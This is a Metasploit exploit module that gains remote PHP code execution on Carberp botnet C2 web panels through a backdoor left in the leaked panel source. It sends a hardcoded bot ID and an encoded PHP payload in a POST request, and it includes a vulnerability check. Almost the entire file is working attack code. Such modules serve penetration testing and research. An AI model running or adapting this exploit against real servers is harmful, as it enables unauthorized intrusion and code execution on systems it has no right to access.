1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GreatRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'Carberp Web Panel C2 Backdoor Remote PHP Code Execution',
16
        'Description' => %q{
17
          This module exploits backdoors that can be found all over the leaked
18
          source code of the Carberp botnet C2 Web Panel.
19
        },
20
        'License' => MSF_LICENSE,
21
        'Author' => [
22
          'bwall(Brian Wallace) <bwallace[at]cylance.com>', # msf module
23
          'connection(Luis Santana) <hacktalkblog[at]gmail.com>', # exploit reporting
24
          'Steven K <xylitol[at]malwareint[d0t]com>' # discovery and reporting
25
        ],
26
        'References' => [
27
          ['URL', 'http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html']
28
        ],
29
        'Privileged' => false,
30
        'Payload' => {
31
          'Keys' => ['php'],
32
          'Space' => 10000,
33
          'DisableNops' => true
34
        },
35
        'Platform' => ['php'],
36
        'Arch' => ARCH_PHP,
37
        'Targets' => [
38
          ['carberp', {}]
39
        ],
40
        'DisclosureDate' => '2013-06-28',
41
        'DefaultTarget' => 0,
42
        'Notes' => {
43
          'Reliability' => UNKNOWN_RELIABILITY,
44
          'Stability' => UNKNOWN_STABILITY,
45
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
46
        }
47
      )
48
    )
49

50
    register_options(
51
      [
52
        OptString.new('TARGETURI', [true, "The path to the backdoor, often just index.php", "/index.php"]),
53
        OptString.new('BOTID', [true, 'Hardcoded backdoor bot ID that can run PHP eval', 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV']),
54
      ]
55
    )
56
  end
57

58
  def check
59
    confirm_string = rand_text_alpha(8)
60
    cmd = "echo '#{confirm_string}';"
61
    shell = http_send_command(cmd)
62
    check_code = Exploit::CheckCode::Safe
63

64
    if shell and shell.body.include?(confirm_string)
65
      check_code = Exploit::CheckCode::Vulnerable
66
    end
67

68
    check_code
69
  end
70

71
  def http_send_command(cmd)
72
    uri = normalize_uri(target_uri.path.to_s)
73
    request_parameters = {
74
      'method'	=> 'POST',
75
      'uri'	=> uri,
76
      'vars_post'	=>
77
        {
78
          'id' => datastore['BOTID'],
79
          "data" => Rex::Text.encode_base64(cmd.unpack('H*'))
80
        }
81
    }
82
    res = send_request_cgi(request_parameters)
83

84
    res
85
  end
86

87
  def exploit
88
    http_send_command(payload.encoded)
89
  end
90
end
91

92